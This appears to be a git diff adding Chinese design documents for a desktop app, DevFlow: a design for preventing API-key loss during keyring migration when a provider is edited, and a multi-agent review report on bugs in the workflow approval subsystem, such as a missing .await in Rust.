||||
T0 初始(老明文) "sk-real" (空)
|
||||
T1 编辑提交空 key → commands.rs:334 record.api_key=String::new()
|
||||
T2 INSERT OR REPLACE "sk-real" 覆盖为 "" (仍空)
|
||||
T3 resolve_provider_secret
|
||||
record.api_key 空 → fallback keyring → 仍空
|
||||
T4 build_provider_for → ensure_resolved_key → Err「未读取到密钥」
|
||||
T5 provider 报废,密钥永久丢失(无任何日志/提示)
|
||||
```
|
||||
|
||||
**关键坏点**:T0→T2 的「DB 有明文」这个唯一存活副本被无条件清空。一旦清空,DB 和 keyring 同时空,**无任何兜底**——`resolve_provider_secret`(secret.rs:30-35)先看 DB、再看 keyring,两源都空就返空串。
|
||||
|
||||
### 1.3 为什么 R-PD-1 比 CR-01 严重
|
||||
|
||||
| 项 | CR-01(已修) | R-PD-1(本设计) |
|
||||
|---|---|---|
|
||||
| 触发 | 删 provider 漏清 keyring | 编辑 provider 不改 key |
|
||||
| 后果 | keyring 残留(无消费方,不可复活) | **密钥永久丢失,provider 报废** |
|
||||
| 可逆性 | 残留可后续清,无危害 | **不可逆**——明文唯一副本被覆盖成空 |
|
||||
| 用户感知 | 无 | 静默丢失,下次调用 401/空密钥错才暴露 |
|
||||
|
||||
CR-01 是「清理时机」问题(残留不可复活),R-PD-1 是「明文副本被毁」问题(密钥丢失)——后者危害量级更高。
|
||||
|
||||
---
|
||||
|
||||
## 二、根因
|
||||
|
||||
双根因叠加:
|
||||
|
||||
### 2.1 根因 A:`INSERT OR REPLACE` 全字段覆盖
|
||||
|
||||
`crud.rs:890-900` 的 `AiProviderRepo::insert` 用 `INSERT OR REPLACE INTO ai_providers (...api_key...) VALUES (...)` —— 编辑场景下 id 已存在,REPLACE 整行删除重建,**所有字段**(含 `api_key`)按传入值落库。即使本次只改 `name`,`api_key` 也被强写为 `record.api_key` 的值。
|
||||
|
||||
调用方 `ai_save_provider`(commands.rs:334)始终把 `record.api_key` 设为空串,于是无论是否改密钥,DB 明文都被清。
|
||||
|
||||
> 注:`update_full`(crud.rs:901-910)走 `UPDATE ... SET api_key = ?` 同样全字段覆盖,问题对称。当前 `ai_save_provider` 走的是 `insert`,但即便切到 `update_full` 也不解决——根因在调用方传的值,不在 SQL 形式。
|
||||
|
||||
### 2.2 根因 B:「空 api_key = 不改」约定二义性
|
||||
|
||||
commands.rs:326-334 的约定:
|
||||
- `api_key` 非空 → 写 keyring(新/改密钥)
|
||||
- `api_key` 空 → 不写 keyring,「保留原 keyring 密钥不动」
|
||||
|
||||
这套约定隐含假设:**「保留原密钥」就是保留 keyring 里的密钥**。但未迁移态下 keyring 根本没有密钥,真正的密钥副本在 DB 明文里。约定只 cover 了「迁移完成态」(DB 空、keyring 有),完全没考虑「未迁移态」(DB 有明文、keyring 空)。
|
||||
|
||||
「空 = 不改」这个三字符约定的语义其实是**「不要动密钥」**,但代码实现成了**「把 DB 明文也清空」**——后者在迁移完成态碰巧无害(DB 本来就空),在未迁移态就是数据丢失。**约定本身没错,错的是实现把「不改」落成了「清空唯一副本」。**
|
||||
|
||||
### 2.3 为什么启动迁移没兜住
|
||||
|
||||
`migrate_secrets_to_keyring`(secret.rs:50-72)在启动时跑一次:
|
||||
- 成功:DB 明文 → keyring → DB 置空。完成后「未迁移态」消失。
|
||||
- 失败:`warn` 日志 + `continue`,**DB 明文保留**(设计意图:「下次重试」)。
|
||||
|
||||
正是「失败保留明文」这条安全网,制造了「未迁移态」长期存在的可能:keyring 写入失败(权限/锁定/平台差异)→ 明文滞留 DB → 用户进来编辑 → R-PD-1 触发。**这条安全网本意是保住密钥,却被根因 A/B 在编辑路径上反向利用成密钥丢失入口。**
|
||||
|
||||
---
|
||||
|
||||
## 三、方案对比
|
||||
|
||||
修复方向(review 给的指引):**空 `api_key` 时先确认 keyring 有/DB 有再决定清 DB——若 keyring 无且原 DB 非空,先 `set_provider_secret` 补迁再清 DB(即时迁移),保住密钥不丢。**
|
||||
|
||||
围绕这个方向,三个候选方案:
|
||||
|
||||
### 方案 A:编辑路径即时迁移(推荐)
|
||||
|
||||
`ai_save_provider` 空密钥分支前,加「保住密钥」前置:
|
||||
1. 读原 DB 记录的 `api_key`(明文)。
|
||||
2. 读 keyring 当前值。
|
||||
3. 决策矩阵:
|
||||
|
||||
| DB 原值 | keyring 现值 | 动作 |
|
||||
|---|---|---|
|
||||
| 非空 | 非空 | 二者一致?以 keyring 为准,DB 清空(迁移完成态编辑,行为同现状) |
|
||||
| 非空 | 空 | **即时迁移**:`set_provider_secret(DB 原值)` → 成功后 DB 清空;失败 → 报错阻断保存,**DB 明文不动** |
|
||||
| 空 | 非空 | 已迁移态编辑,DB 保持空(现状) |
|
||||
| 空 | 空 | 无密钥 provider(新建未填过 key),DB 保持空(现状) |
|
||||
|
||||
伪代码(commands.rs:328-355 改动):
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
// 显式改密钥:写 keyring(现状不变)
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
} else if let Some(pid) = &id {
|
||||
// 空 key 编辑:保住密钥,防未迁移态丢失
|
||||
let old = state.ai_providers.get_by_id(pid).await
|
||||
.map_err(|e| e.to_string())?;
|
||||
if let Some(old) = old {
|
||||
if !old.api_key.is_empty() {
|
||||
// DB 有明文 → 检查 keyring 是否已迁
|
||||
if super::secret::get_provider_secret(pid).is_none() {
|
||||
// keyring 空:即时迁移补密钥(失败则阻断保存,明文不动)
|
||||
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||
return Err(format!(
|
||||
"检测到密钥尚未迁移至系统钥匙串,本次保存尝试迁移失败: {}。\
|
||||
已保留原密钥未改动,请重试或检查系统钥匙串权限后再次保存。",
|
||||
e
|
||||
));
|
||||
}
|
||||
tracing::info!("[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring", pid);
|
||||
}
|
||||
// keyring 已有/迁移成功:DB 明文将在下方 INSERT OR REPLACE 清空(迁移完成)
|
||||
}
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
let record = AiProviderRecord { /* ... */ };
|
||||
```
|
||||
|
||||
**优点**:
|
||||
- 保住密钥不丢(核心目标达成)。
|
||||
- 顺带把「未迁移态」在编辑路径收敛到「迁移完成态」——用户每编辑一次,未迁移的 provider 自动补迁。
|
||||
- 调用方局部改动,不动 crud.rs / 不改 IPC 契约 / 不改前端。
|
||||
- 失败兜底明确:迁移失败直接 `Err` 阻断保存,**不会比现状更糟**(现状是静默丢失,这里至少明确报错 + 不动 DB)。
|
||||
|
||||
**缺点**:
|
||||
- 即时迁移失败时阻断保存——用户改个 name 也保存不了。但这是**正确行为**:保存就意味着要清 DB 明文,密钥没保住之前清掉就是丢失,宁可阻断也不丢。
|
||||
- 多一次 DB 读(`get_by_id`)——可接受(编辑本就低频,且 `ai_save_provider` 已读两次 `get_by_id` 取 `created_at`/`is_default`,再加一次读明文合理)。
|
||||
|
||||
### 方案 B:保留 DB 明文直到 keyring 确认成功
|
||||
|
||||
`ai_save_provider` 空密钥分支下,**不无条件清 DB**:若 keyring 无值,则 `record.api_key` 保留原 DB 明文,INSERT OR REPLACE 落库的还是明文;待启动迁移或下次显式改密钥时再清。
|
||||
|
||||
伪代码:
|
||||
```rust
|
||||
let api_key_for_db = if api_key.is_empty() {
|
||||
// 编辑不改 key:若 keyring 无值,保留 DB 明文不动
|
||||
let keyring_val = super::secret::get_provider_secret(&provider_id);
|
||||
match (keyring_val, id.as_ref().and_then(|pid| /* 读旧 DB 明文 */)) {
|
||||
(Some(_), _) => String::new(), // keyring 有 → DB 可空
|
||||
(None, Some(plaintext)) => plaintext, // keyring 无 → 保留 DB 明文
|
||||
(None, None) => String::new(), // 都无 → 新建无 key
|
||||
}
|
||||
} else {
|
||||
// 显式改 key:写 keyring,DB 空
|
||||
/* set_provider_secret ... */
|
||||
String::new()
|
||||
};
|
||||
let record = AiProviderRecord { api_key: api_key_for_db, /* ... */ };
|
||||
```
|
||||
|
||||
**优点**:保住明文,不依赖即时迁移成功。
|
||||
|
||||
**缺点**:
|
||||
- **DB 明文长期滞留**:与 FR-S1「DB api_key 列恒空」目标矛盾,恶化 R-PD-4(迁移失败明文滞留 SQLite 文件未加密)。
|
||||
- 把「编辑不改 key」从「收敛到迁移完成态」变成「维持未迁移态」,方向反了——本应借编辑机会收敛,方案 B 反而固化未迁移态。
|
||||
- 决策矩阵更绕(要协调「写 keyring 失败时回退 DB 明文」),引入新的不一致窗口(keyring 写一半失败、DB 仍明文、下次又来一遍)。
|
||||
|
||||
### 方案 C:显式迁移标志位
|
||||
|
||||
给 `AiProviderRecord` 加 `secret_migrated: bool` 列(或用 `config` JSON 存),空密钥分支下:
|
||||
- 标志位 true → 已迁移,DB 清空安全。
|
||||
- 标志位 false → 未迁移,DB 明文必须保留(或即时迁移)。
|
||||
|
||||
**优点**:状态显式可观测(不靠「DB 空 vs keyring 有」反推),排查友好。
|
||||
|
||||
**缺点**:
|
||||
- **schema 演进成本**:加列要迁移历史库(ALTER TABLE / 默认值 / 向后兼容老客户端读不懂新列)。
|
||||
- 三个真值源(标志位、DB 明文、keyring)比两个(DB 明文、keyring)更难保持一致——标志位忘更新又成新坑。
|
||||
- 收益与复杂度不匹配:方案 A 用「keyring 有/DB 有」二元判定已经足够,标志位是过度设计。
|
||||
- 与项目「务实最小改动」原则相悖。
|
||||
|
||||
### 方案取舍
|
||||
|
||||
| 维度 | A 即时迁移 | B 保留明文 | C 标志位 |
|
||||
|---|---|---|---|
|
||||
| 密钥不丢 | ✅ | ✅ | ✅(靠 A/B 实现) |
|
||||
| 收敛未迁移态 | ✅ 编辑即迁移 | ❌ 维持未迁移 | 取决于实现 |
|
||||
| 改动面 | 局部(commands.rs) | 局部(commands.rs) | 大(schema + crud + 模型 + 迁移) |
|
||||
| 与 FR-S1/R-PD-4 一致 | ✅ | ❌ 恶化明文滞留 | 中性 |
|
||||
| 复杂度 | 低 | 中 | 高 |
|
||||
|
||||
**推荐方案 A**:最小局部改动达成核心目标(密钥不丢),顺带收敛未迁移态,与 FR-S1 方向一致,失败兜底明确不劣化现状。
|
||||
|
||||
---
|
||||
|
||||
## 四、推荐方案 A:改动清单
|
||||
|
||||
### 4.1 改动文件
|
||||
|
||||
| 文件 | 改动 | 行号(截至 2026-06-15) |
|
||||
|---|---|---|
|
||||
| `src-tauri/src/commands/ai/commands.rs` | `ai_save_provider` 空密钥分支前加「保住密钥」前置(即时迁移) | 328-334(在 `let provider_id = ...` 与 `let api_key = String::new()` 之间插入) |
|
||||
|
||||
**不改动**:
|
||||
- `crates/df-storage/src/crud.rs` —— `INSERT OR REPLACE` 全字段覆盖是 storage 层中性能力,根因在调用方传值;改 SQL 反而把「保留密钥」语义下推到 storage(不该 storage 关心密钥迁移)。
|
||||
- `src-tauri/src/commands/ai/secret.rs` —— `set/get_provider_secret` 已具备所需能力,复用即可,无需新方法。
|
||||
- IPC 签名 / 前端 / DB schema —— 全部不动。
|
||||
|
||||
### 4.2 改动伪代码(完整版)
|
||||
|
||||
`commands.rs:328` 处(原代码):
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
```
|
||||
|
||||
改为:
|
||||
|
||||
```rust
|
||||
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||
if !api_key.is_empty() {
|
||||
// 显式改/填密钥 → 写 keyring(现状不变)
|
||||
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||
}
|
||||
} else if let Some(pid) = &id {
|
||||
// 空 key 编辑:保住密钥,防未迁移态静默丢失(R-PD-1)
|
||||
let old = state.ai_providers.get_by_id(pid).await
|
||||
.map_err(|e| e.to_string())?;
|
||||
if let Some(old) = old {
|
||||
if !old.api_key.is_empty()
|
||||
&& super::secret::get_provider_secret(pid).is_none()
|
||||
{
|
||||
// DB 有明文 且 keyring 无 → 即时迁移补密钥
|
||||
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||
return Err(format!(
|
||||
"检测到该提供商密钥尚未迁移至系统钥匙串,本次保存尝试即时迁移失败({})。\
|
||||
已保留原密钥未改动——请检查系统钥匙串权限后再次保存。",
|
||||
e
|
||||
));
|
||||
}
|
||||
tracing::info!(
|
||||
"[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring(R-PD-1 兜底)",
|
||||
pid
|
||||
);
|
||||
}
|
||||
// else: keyring 已有 / DB 已空 → INSERT OR REPLACE 清空 DB 明文安全
|
||||
}
|
||||
}
|
||||
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||
```
|
||||
|
||||
### 4.3 决策点
|
||||
|
||||
| 决策 | 取值 | 原因 |
|
||||
|---|---|---|
|
||||
| 即时迁移失败时 | `Err` 阻断保存,**DB 明文不动** | 保存即清 DB 明文,密钥没保住前清掉就是丢失;阻断 + 明确报错优于静默丢失 |
|
||||
| 判定密钥源 | keyring 有 → 安全清;DB 有 + keyring 无 → 即时迁移;都无 → 新建无 key | 三状态全覆盖,无遗漏分支 |
|
||||
| 迁移后是否额外校验 keyring 写入 | 不校验(信任 `set_provider_secret` 返回 Ok) | `set_provider_secret` 已是 keyring 写入的真相源,重复读 keyring 验证属过度防御 |
|
||||
| 即时迁移的范围 | 仅编辑路径(`ai_save_provider` 空 key 分支) | 启动迁移 `migrate_secrets_to_keyring` 是批量兜底,编辑路径是单点收敛;两者互补不重叠 |
|
||||
| 是否记日志 | 成功迁移记 `info`,失败走 `Err`(用户可见) | 成功迁移是状态收敛好事值得记;失败用户必须知道 |
|
||||
|
||||
---
|
||||
|
||||
## 五、风险与兜底
|
||||
|
||||
### 5.1 即时迁移失败时的兜底
|
||||
|
||||
即时迁移失败(keyring 权限/锁定/平台问题)→ 函数 `return Err` → **DB 明文保留不变**(INSERT OR REPLACE 未执行)。
|
||||
|
||||
- 用户看到:明确错误「即时迁移失败,请检查钥匙串权限后再次保存」。
|
||||
- 系统状态:与保存前完全一致(DB 明文还在,keyring 仍空,下次启动迁移或下次编辑还会再试)。
|
||||
- **绝不劣化现状**:现状是静默丢失,本方案最坏是「保存失败 + 明确报错 + 状态不变」。
|
||||
|
||||
### 5.2 边界场景
|
||||
|
||||
| 场景 | 行为 |
|
||||
|---|---|
|
||||
| 编辑刚新建(id 不存在/无 old 记录) | `old = None` → 不进迁移分支 → DB 空(新建无 key 正常) |
|
||||
| 编辑已迁移态(DB 空、keyring 有) | `old.api_key.is_empty()` → 不进迁移分支 → DB 保持空(现状) |
|
||||
| 编辑已迁移态但 keyring 被外部清空 | DB 空 + keyring 空 → 不进迁移分支 → DB 保持空 → provider 早已报废(非本设计引入的新问题,属 R-PD-4 范畴) |
|
||||
| 并发两次保存同一 provider | `get_by_id` 各读各的,INSERT OR REPLACE 串行化落库;最坏后写覆盖先写,密钥不丢(两者都迁成功或都报错) |
|
||||
| 用户编辑同时填了新 api_key | 走 `!api_key.is_empty()` 显式分支,覆盖写 keyring(现状不变,不进即时迁移分支) |
|
||||
|
||||
### 5.3 不解决的问题(明确边界)
|
||||
|
||||
- **R-PD-4**(迁移失败明文长期滞留 SQLite 文件未加密):本方案不直接解决——即时迁移只是把「未迁移态」在编辑路径收敛,启动迁移失败仍会留下滞留明文。R-PD-4 走独立方向(补 N 次失败阈值警告),不在本设计范围。
|
||||
- **provider 被外部清空 keyring 导致已迁移态变废**:本方案不感知外部 keyring 变更(编辑时读 keyring 是即时快照),属 keyring 健康监控范畴,不在本设计。
|
||||
- **CR-01**(删 provider 漏清 keyring,已修):删除路径已加 `delete_provider_secret` 兜底,与本设计(编辑路径)正交。
|
||||
|
||||
---
|
||||
|
||||
## 六、关联
|
||||
|
||||
- **全局代码 review 2026-06-15** §🔴 P1 R-PD-1 — 问题来源与本设计指针。
|
||||
- **CR-260615-01 / CR-01**(已修):`ai_delete_provider` 删 provider 漏清 keyring → 已加 `delete_provider_secret` 兜底(commands.rs:397-399)。本设计是「编辑路径」的对称补丁,与「删除路径」构成密钥生命周期的两端健壮性。
|
||||
- **R-PD-4**(P2 需设计):keyring 迁移失败明文滞留 SQLite 文件未加密 — 与本设计同源(启动迁移失败制造未迁移态),但治理方向不同(本设计收敛编辑路径,R-PD-4 加滞留告警)。两者互补。
|
||||
- **FR-S1**(api_key 密钥管理):`secret.rs` 的 keyring 迁移机制(启动迁移 + resolve fallback + set/get/delete)是本设计依赖的基础设施。本方案在编辑路径补一个「即时迁移」单点,与启动批量迁移形成双层兜底。
|
||||
- **migrate_secrets_to_keyring**(secret.rs:50-72):启动批量迁移,失败保留明文重试——本设计借编辑路径在用户操作时再做一次单点迁移,提升收敛率。
|
||||
- **resolve_provider_secret**(secret.rs:30-35):DB 优先 fallback keyring 的双源 resolve,是「未迁移态」仍可用的原因;本方案收敛未迁移态后,resolve 路径长期看会稳定走 keyring 分支。
|
||||
|
||||
---
|
||||
|
||||
## 七、测试设计
|
||||
|
||||
| 用例 | 方法 | 期望 |
|
||||
|---|---|---|
|
||||
| 未迁移态编辑不改 key → 即时迁移成功 | mock:DB 存明文 + keyring 空,调用 `ai_save_provider` 空 key 改 name | 迁移成功,keyring 写入明文,DB `api_key` 清空,函数返回 Ok(id) |
|
||||
| 未迁移态编辑不改 key → 即时迁移失败 | mock:`set_provider_secret` 返回 Err,DB 存明文 | 函数返回 Err(含迁移失败提示),**DB `api_key` 明文保留不变**(核心兜底) |
|
||||
| 已迁移态编辑不改 key | mock:DB 空 + keyring 有,调用空 key 编辑 | 不进迁移分支,DB 保持空,函数返回 Ok |
|
||||
| 新建 provider 无 key | `id=None`,`api_key=""` | 不进迁移分支(无 old 记录),DB 空,返回 Ok |
|
||||
| 显式改 key(非空 api_key) | 任意态,传非空 api_key | 走显式分支写 keyring,不进即时迁移分支(现状不变) |
|
||||
| 已迁移态但 keyring 被外部清 + DB 也空 | mock:DB 空 + keyring 空 | 不进迁移分支,DB 保持空(provider 已废,非本设计引入) |
|
||||
| 即时迁移后 resolve 正常 | 即时迁移成功后调 `resolve_provider_secret` | 返回非空密钥(迁移成功后 keyring 是唯一源) |
|
||||
|
||||
测试位置:`src-tauri/src/commands/ai/commands.rs` 的 `#[cfg(test)]` 模块(若现无则新增),mock `set/get_provider_secret`(可通过 trait 抽象 + 测试替身,或抽 secret 操作到可注入句柄)。
|
||||
|
||||
---
|
||||
|
||||
**相关**:
|
||||
- `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 R-PD-1 — 问题来源
|
||||
- `src-tauri/src/commands/ai/commands.rs:299-355` — `ai_save_provider` 实施位置
|
||||
- `src-tauri/src/commands/ai/secret.rs` — keyring 迁移/resolve 基础设施
|
||||
- `crates/df-storage/src/crud.rs:884-911` — `AiProviderRepo` insert/update_full(不改)
|
||||
- 功能决策记录「密钥迁移健壮性」— 设计摘要(待补)
|
||||
@@ -140,4 +140,4 @@
|
||||
|
||||
> **方向有价值,形态要收敛。** "本地优先 + 任务分支驱动 + AI 辅助流程"是真空隙;"全流程操作系统"是幻觉。砍掉 60% 的功能不是失败,是论证的胜利——它们本来会消耗 6-9 个月却没人用。
|
||||
>
|
||||
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估.md`。这是 DevFlow 吃自己的狗粮的第一个案例。
|
||||
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`。这是 DevFlow 吃自己的狗粮的第一个案例。
|
||||
|
||||
129
docs/02-架构设计/工作流审批审查报告-2026-06-14.md
Normal file
129
docs/02-架构设计/工作流审批审查报告-2026-06-14.md
Normal file
@@ -0,0 +1,129 @@
|
||||
# 工作流审批子系统对抗审查报告
|
||||
|
||||
> 2026-06-14 · 多代理审查(31 agents / 5 维度 × 对抗验证) + 主代理独立复核 + 二轮对抗论证
|
||||
> 范围: df-workflow/{executor,state,eventbus}.rs · df-nodes/human_node.rs · df-core/events.rs · src-tauri/{commands/workflow,state}.rs · src/stores/project.ts · src/api/{types,workflow}.ts · src/views/ProjectDetail.vue
|
||||
> 方法: workflow fan-out 审查 → 每发现独立对抗验证(默认反驳) → 主代理读源码复核 criticals → 二轮对抗论证(存在性/可达性/危害三维)
|
||||
|
||||
## TL;DR
|
||||
|
||||
1. **头号 bug [P0 阻断]**: `human_node.rs:41` 发 `HumanApprovalRequest` 缺 `.await`。`EventBus::send` 是 async fn,`let _ = async_fn()` 丢弃 Future 未 poll → body 不执行 → **Request 从未进入 channel**。审批链最上游断裂。
|
||||
2. **①②(前端契约失配) 被头号遮蔽**: Request 没发 → 前端 `onEvent` 收不到 → type 匹配分支不可达。修 41 行后 ①② 才显形为 critical。
|
||||
3. **当前 UI 无 human 节点 DAG 入口**: `demoDag` 仅 script 节点;AI 工具 `run_workflow` 返回提示不执行。审批相关 9 项发现现实触发率=0,全部潜伏。
|
||||
4. **根因**: 审批功能前端从未端到端跑通(41 行 await 漏掉即铁证),单测绿但不覆盖 human→前端弹窗→审批→返回链路。
|
||||
|
||||
---
|
||||
|
||||
## 0. 头号发现 [P0]
|
||||
|
||||
### 0.1 缺陷定位
|
||||
|
||||
`crates/df-nodes/src/human_node.rs:41-47`
|
||||
```rust
|
||||
let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest {
|
||||
execution_id: ctx.execution_id.clone(),
|
||||
node_id: ctx.node_id.clone(),
|
||||
title: title.to_string(),
|
||||
description: description.to_string(),
|
||||
options: options.clone(),
|
||||
}); // ← 无 .await
|
||||
```
|
||||
|
||||
### 0.2 机制
|
||||
|
||||
- `EventBus::send` 签名 (`eventbus.rs:33`): `pub async fn send(&self, event: WorkflowEvent)` — async fn。
|
||||
- `let _ = async_fn()` 求值得 Future,绑定 `_` 后语句结束立即 drop,**Future 零 poll**。
|
||||
- async fn body (`self.sender.send(event)`) 仅在 Future 被 poll 时执行 → 此处永不执行 → Request 未进 broadcast channel。
|
||||
|
||||
### 0.3 对抗自检(排除假阳)
|
||||
|
||||
| 质疑 | 核实 |
|
||||
|------|------|
|
||||
| 测试为何 pass? | `normal_approval_returns_decision` 的 helper `send_response` 用 `send(...).await`(`human_node.rs:172` 有 await) 发的是 **Response**;HumanNode 的 Request 那行没 await。测试只断言 Response 被 rx 收到并返回 decision,**不验证 Request 是否发出**。绿测不能证伪。 |
|
||||
| 编译器为何不报? | `let _ = expr` 合法通配符绑定;async fn 生成的 Future 默认无 `#[must_use]`,零 warning。 |
|
||||
| 是否误用同步 fn? | `eventbus.rs:44` `emit_human_approval_request` 是同步 fn(返 Result),但 HumanNode 未用它,用的是 async `send`。 |
|
||||
| 多代理为何漏? | 审查聚焦前端契约(①②)与串扰(③),未逐行核 HumanNode 内 send 调用点是否 await。主代理二轮读 human_node.rs 全文才发现。 |
|
||||
|
||||
### 0.4 触发路径
|
||||
|
||||
`human_node.rs:38 subscribe → :41 send(无await)` → Request 未发 → `workflow.rs` 转发任务 rx 收不到 → 前端 `onEvent` 不触发 `HumanApprovalRequest` 分支 → `pendingApproval` 恒 null → 弹窗不开 → HumanNode `select!` 阻塞至 `:86 sleep_until(deadline)` 默认 3600s 超时 → Err → 工作流 failed。
|
||||
|
||||
### 0.5 修复
|
||||
|
||||
```diff
|
||||
- let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... });
|
||||
+ ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... }).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 1. 反转结论
|
||||
|
||||
### 1.1 ①② 被头号遮蔽(降级: 当前不可达)
|
||||
|
||||
- ① `project.ts:214` `payload.event?.type === 'HumanApprovalRequest'`(大驼峰)vs 后端 `events.rs:18` `#[serde(tag="type", rename_all="snake_case")]` → 序列化值 `'human_approval_request'`,永不匹配。
|
||||
- ② `project.ts:215` `payload.event.data` —— event 是 `WorkflowEvent` 本体扁平结构(`{type, execution_id, node_id, title, description, options}`),无 `data` 包装层 → undefined。
|
||||
- 两者代码层面确凿,但 Request 未发(§0 遮蔽) → 前端收不到事件 → 分支不可达。**修 41 行后 ①② 立即变 critical**。
|
||||
|
||||
### 1.2 当前 UI 无 human 节点入口(多数发现现实触发率=0)
|
||||
|
||||
| 证据 | 位置 |
|
||||
|------|------|
|
||||
| 前端唯一 DAG = demoDag,仅 3 个 script 节点 | `ProjectDetail.vue:271-273` |
|
||||
| AI 工具 run_workflow 返回提示不执行 DAG | `tool_registry.rs:346-350` |
|
||||
| runDemoWorkflow 按钮 disabled=workflowRunning 防重入 | `ProjectDetail.vue:281-289` |
|
||||
|
||||
→ 审批相关发现(①②④⑤⑦⑧⑨⑩)全部潜伏在未接入路径。
|
||||
|
||||
---
|
||||
|
||||
## 2. 逐条对抗裁定
|
||||
|
||||
| # | 定位 | 存在性(代码层) | 现实可达性 | 危害校正 | 裁定 |
|
||||
|---|------|---------------|-----------|---------|------|
|
||||
| **0** | human_node.rs:41 | 确凿 缺await | human DAG 运行即必现,UI 无入口 | Request 不发,链最上游断 | **真·潜伏头号 P0** |
|
||||
| ① | project.ts:214 | 确凿 snake_case | 被0遮蔽+无human入口 | 潜伏,修0后才显形 | 降级: 当前不可达 |
|
||||
| ② | project.ts:215 | 确凿 flat无data | 同① 双重遮蔽 | 潜伏 | 降级: 同① |
|
||||
| ③ | workflow.rs:67-97 | 确凿 全局bus+Node*无exec_id+matches!只看变体 | 需并发工作流,UI防重入+AI不执行 | 审批路由不坏(Request自带exec_id),仅日志串扰+提前break | 真实架构缺陷,现实触发0;危害被夸大 |
|
||||
| ④ | project.ts:15-21 | 确凿 单槽 | 三重遮蔽(0+无入口+单流) | 潜伏 | 真实,潜伏 |
|
||||
| ⑤ | project.ts:208-261 | 确凿 无终态监听 | 同④;"稍后"按钮可视觉关 | UX退化非卡死 | 真实,危害偏低 |
|
||||
| ⑥ | state.rs:106 | 确凿 直接insert | 需⑦竞态命中 | snapshot()零调用方(死代码),DB不受影响 | **真实但无害** |
|
||||
| ⑦ | project.ts:228 | 确凿 无互斥 | 需0+①②+入口全通+双击+500ms窗口 | 窄窗口 | 真实,潜伏 |
|
||||
| ⑧ | workflow.rs:171 | 确凿 无校验(对比cancel有registry守卫) | 需human+超时窗口 | 诊断损失非功能损坏 | 真实,潜伏 |
|
||||
| ⑨ | human_node.rs:73-81 | 确凿 warn+continue | 需256积压;当前无节点发NodeProgress,每节点≤2事件,需128+并发节点 | 概率近0 | 真实,当前不可达 |
|
||||
| ⑩ | workflow.rs:91-97 | 确凿 Lagged+Closed死代码(bus持于AppState全程) | 同⑨ 需256积压 | DB终态仍正确,仅task泄漏 | 真实,当前不可达 |
|
||||
| ⑪ | workflow.rs:140 | 确凿 String::new() | demoDag失败即触发 | 低危: error字段含first_err.context"节点X失败",failed_node冗余空 | **真实且当前可达,危害低** |
|
||||
|
||||
---
|
||||
|
||||
## 3. 根因
|
||||
|
||||
审批功能前端从未端到端验证。证据链:
|
||||
|
||||
1. `B-260614-03a` 重写 HumanNode `execute`(subscribe→send→select!) 时引入 `:41` await 缺失,7 单测全绿未抓(单测不覆盖 Request 发出)。
|
||||
2. 前端无 human 节点 DAG 入口,无任何集成测试覆盖 human→弹窗→审批→返回链路。
|
||||
3. ①② 是前后端契约层断裂,`types.ts:127` `event.type: string` 弱类型无编译期拦截。
|
||||
|
||||
→ 单测绿 + 无端到端测试 = 这批潜伏 bug 的存活土壤。
|
||||
|
||||
---
|
||||
|
||||
## 4. 修复优先级
|
||||
|
||||
| 序 | 动作 | 优先级 | 依赖 | 会暴露 |
|
||||
|---|------|--------|------|--------|
|
||||
| 1 | 补 human 节点端到端集成测试(含human的DAG→运行→断言前端收到Request+弹窗开) | P0 | 无 | 0+①+② |
|
||||
| 2 | human_node.rs:41 加 .await | P0 | 测试暴露后修 | — |
|
||||
| 3 | project.ts:214 type→snake_case; :215 取 event 本体字段; types.ts event.type 收窄字面量联合 | P0(修2后) | 2 | — |
|
||||
| 4 | ③ Node*事件补 execution_id + 转发过滤 | P2 | 并发工作流时 | — |
|
||||
| 5 | ④⑤ pendingApproval 改 Map + 终态清空 | P2 | 2③后 | — |
|
||||
| 6 | ⑥ set_cancelled 查终态 no-op | P3 | 无(无消费者零危害) | — |
|
||||
| 7 | ⑦⑧⑨⑩⑪ | P2-P3 | 见§2 | — |
|
||||
|
||||
---
|
||||
|
||||
## 附: 多代理 workflow 元数据
|
||||
|
||||
- 31 agents / 5 维度(concurrency / state-machine / error-handling / lifecycle / frontend-contract) × 对抗验证
|
||||
- 26 原始发现 → 12 确认 / 11 反驳 / 3 验证代理因 API 限流未跑(主代理手动补判)
|
||||
- 验证阶段正确识别 `executor.rs:124` 三条为 not-a-bug(B-03b-R1 已修,`:127` 有 is_cancelled guard + test_cancelled_node_skips_set_failed)
|
||||
- 漏抓头号(§0): 因未核 send await,主代理二轮复核补
|
||||
255
docs/02-架构设计/工作流脚本执行边界-2026-06-15.md
Normal file
255
docs/02-架构设计/工作流脚本执行边界-2026-06-15.md
Normal file
@@ -0,0 +1,255 @@
|
||||
# 工作流脚本执行边界设计(R-PD-2)
|
||||
|
||||
